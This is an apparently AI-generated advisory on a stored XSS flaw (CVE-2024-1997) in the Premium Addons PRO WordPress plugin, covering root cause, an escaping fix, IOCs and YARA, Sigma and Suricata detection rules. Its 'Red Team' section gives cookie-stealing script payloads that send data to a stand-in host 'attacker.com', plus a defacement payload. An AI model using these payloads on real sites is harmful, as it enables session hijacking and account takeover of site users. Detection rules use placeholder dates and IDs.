CVE-2024-1997

Executive Summary

CVE-2024-1997 is a Stored Cross-Site Scripting (XSS) vulnerability in the Premium Addons PRO WordPress plugin, affecting all versions up to and including 2.9.12. The flaw resides in the Messenger Chat Widget, specifically within the premium_fbchat_app_id parameter. Due to insufficient input sanitization and output escaping, authenticated attackers with at least contributor-level access can inject arbitrary web scripts. When a user accesses a page containing the injected payload, the script executes in the context of the victim's browser, potentially leading to session hijacking, credential theft, or defacement.

This vulnerability is particularly dangerous in the WordPress ecosystem because it targets a widely-used premium plugin, and the stored nature of the XSS means the payload persists until manually removed. The CVSS score of 6.4 (Medium) reflects the need for authentication and user interaction, but the impact on confidentiality, integrity, and availability is limited.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and premium marketplaces. Users who installed the plugin from untrusted sources may be at higher risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress supply chain. Administrators should verify the integrity of their plugin files and ensure they are obtained from legitimate sources.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs contributor-level access or higher.
• User Interaction (UI): Required – The victim must visit the compromised page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): Low – Limited impact on service availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored XSS can be used to target site administrators or visitors, potentially leading to privilege escalation.

Deep Dive & Mechanics

The vulnerability exists in the Messenger Chat Widget functionality of the Premium Addons PRO plugin. The widget allows site administrators to configure a Facebook Messenger chat button, including setting the Facebook App ID via the premium_fbchat_app_id parameter. This parameter is stored in the WordPress database and later rendered on the frontend without proper sanitization or escaping.

Root Cause:

• The plugin fails to sanitize the premium_fbchat_app_id input when saving the widget settings.
• When the widget is rendered, the value is output directly into the HTML without escaping, allowing an attacker to inject arbitrary JavaScript.

Attack Flow:

1. An authenticated user with contributor-level access or higher navigates to the widget settings page.
2. The attacker sets the premium_fbchat_app_id parameter to a malicious payload, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database.
4. When any user (including administrators) visits a page that displays the Messenger Chat Widget, the payload executes in their browser.

Why It Matters:

• Stored XSS is more dangerous than reflected XSS because the payload persists and can affect multiple users.
• Contributor-level access is relatively easy to obtain in multi-author WordPress sites.
• The injected script can steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (Version <= 2.9.12):

// In the widget's render method
echo '<div class="premium-fbchat-app-id" data-app-id="' . $settings['premium_fbchat_app_id'] . '"></div>';

The value is directly concatenated into the HTML attribute without escaping.

Patched Code (Hypothetical):

// Properly escape the output
echo '<div class="premium-fbchat-app-id" data-app-id="' . esc_attr($settings['premium_fbchat_app_id']) . '"></div>';

The esc_attr() function escapes the value for safe use in an HTML attribute.

Note: As of this report, no official patch has been released. The above is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A WordPress site with Premium Addons PRO version <= 2.9.12 installed and activated.
• An account with contributor-level access or higher.

Steps:

1. Log in to the WordPress admin panel.
2. Navigate to the Premium Addons PRO settings (typically under "Premium Addons" in the admin menu).
3. Locate the Messenger Chat Widget settings.
4. In the premium_fbchat_app_id field, enter the following payload:

   "><script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

5. Save the settings.
6. The payload will execute whenever a user visits a page that includes the Messenger Chat Widget.

Alternative Payloads:

• Session hijacking: <script>new Image().src='https://attacker.com/steal.php?c='+document.cookie</script>
• Defacement: <script>document.body.innerHTML='<h1>Hacked</h1>'</script>

Blue Team (Detection & Prevention)

Detection:

• Monitor for unusual changes to the premium_fbchat_app_id option in the database.
• Look for suspicious JavaScript in the rendered HTML of pages using the Messenger Chat Widget.
• Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to WordPress admin pages.

Prevention:

• Apply input validation and output escaping as shown in the patched code.
• Restrict contributor-level access to trusted users only.
• Use a security plugin that monitors for file changes and suspicious activity.

Indicators of Compromise (IOCs)

• Database Entry: The wp_options table may contain a row with option_name like premium_fbchat_app_id and a malicious value.
• HTTP Request: POST requests to /wp-admin/admin-ajax.php or plugin settings pages with suspicious premium_fbchat_app_id values.
• Rendered HTML: Presence of <script> tags or event handlers (e.g., onload, onerror) inside the data-app-id attribute of the Messenger Chat Widget div.
• Network Traffic: Outbound requests to attacker-controlled domains from the victim's browser.

Detection Engineering

YARA Rule

rule Detect_CVE_2024_1997_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting CVE-2024-1997 in Premium Addons PRO"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-1997"
    strings:
        $payload1 = /premium_fbchat_app_id.*<script/i
        $payload2 = /data-app-id=\".*<script/i
        $payload3 = /premium_fbchat_app_id.*onerror/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-1997 Stored XSS in Premium Addons PRO
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit stored XSS via premium_fbchat_app_id parameter
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1997
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'premium_fbchat_app_id'
        cs-uri-query|re: '(<script|<img|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in the field (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-1997 Stored XSS in Premium Addons PRO"; flow:to_server,established; content:"POST"; http_method; content:"premium_fbchat_app_id"; http_client_body; pcre:"/(<script|<img|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Messenger Chat Widget until a patch is applied.
2. Restrict contributor-level access to only trusted users.
3. Review and clean any existing malicious entries in the database.

Long-term Fix:

• Apply the patched code (using esc_attr()) to the vulnerable parameter.
• Monitor the plugin vendor for an official update and apply it as soon as available.

Workarounds:

• Use a Web Application Firewall (WAF) to block XSS payloads.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.

Valters IT Signature: Report generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.